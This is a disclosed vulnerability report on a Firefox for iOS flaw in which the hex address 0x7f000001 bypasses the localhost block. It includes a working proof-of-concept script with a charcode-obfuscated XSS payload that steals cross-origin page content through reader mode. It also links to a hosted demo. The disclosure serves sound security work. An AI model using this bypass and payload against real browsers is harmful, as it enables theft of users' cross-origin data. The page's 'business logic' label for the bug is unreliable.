Stealing cross origin DOM data with bypassing localhost navigation restriction
Originally disclosed on Mozilla
- Fixed in 10 days
- Paid in 29 days
- Disclosed after 10 days
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.33 Safari/537.36
Steps to reproduce:
In order to prevent Bug 1258188 Firefox for iOS determined to block access to http://localhost in Bug 1263627 but it was insufficient.
It expectedly rejects navigation to privileged pages hosted on "localhost" and "127.0.0.1" but it doesn't reject "0x7f000001".
It allows to load browser internal pages like that:
Prevented (safe):
http://localhost:6571/about/license
Bypassed (unsafe):
http://0x7f000001:6571/about/license
It can be used for stealing cross origin DOM data by using a remaining XSS in reader-mode like this:
<script>
var reader = 'http://0x7f000001:6571/reader-mode/page?url=';
var victim = 'https://hacks.mozilla.org/2016/06/helping-web-developers-with-javascript-errors/';
var url = reader + victim;
var w = window.open(url);
// Open victim URL (hacks.mozilla.org) through reader-mode.
setTimeout(function(){ w.location = url; },5000);
// 10 seconds later injects <iframe src='http://0x7f000001:6571/reader-mode/page?url=https://hacks.mozilla.org/2016/06/helping-web-developers-with-javascript-errors/' onload='alert(this.contentDocument.body.innerHTML)'></iframe>
setTimeout(function(){ w.location = reader + 'javascript:document.body.innerHTML=String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,39,104,116,116,112,58,47,47,48,120,55,102,48,48,48,48,48,49,58,54,53,55,49,47,114,101,97,100,101,114,45,109,111,100,101,47,112,97,103,101,63,117,114,108,61,104,116,116,112,115,58,47,47,104,97,99,107,115,46,109,111,122,105,108,108,97,46,111,114,103,47,50,48,49,54,47,48,54,47,104,101,108,112,105,110,103,45,119,101,98,45,100,101,118,101,108,111,112,101,114,115,45,119,105,116,104,45,106,97,118,97,115,99,114,105,112,116,45,101,114,114,111,114,115,47,39,32,111,110,108,111,97,100,61,39,97,108,101,114,116,40,116,104,105,115,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,72,84,77,76,41,39,62,60,47,105,102,114,97,109,101,62)'; },10000);
</script>
You can try from this URL.
http://mallory.csrf.jp/ios/localhostbypass.html
Actual results:
DOM data of https://hacks.mozilla.org/2016/06/helping-web-developers-with-javascript-errors/ is shown on an alert window.
This means that cross origin data is stolen by mallory.csrf.jp
Expected results:
localhost should not be accessed even if that URL is 0x7f000001.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A high-severity business logic bug in General. Mozilla made it public on 22 June 2016.
About Business logic
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.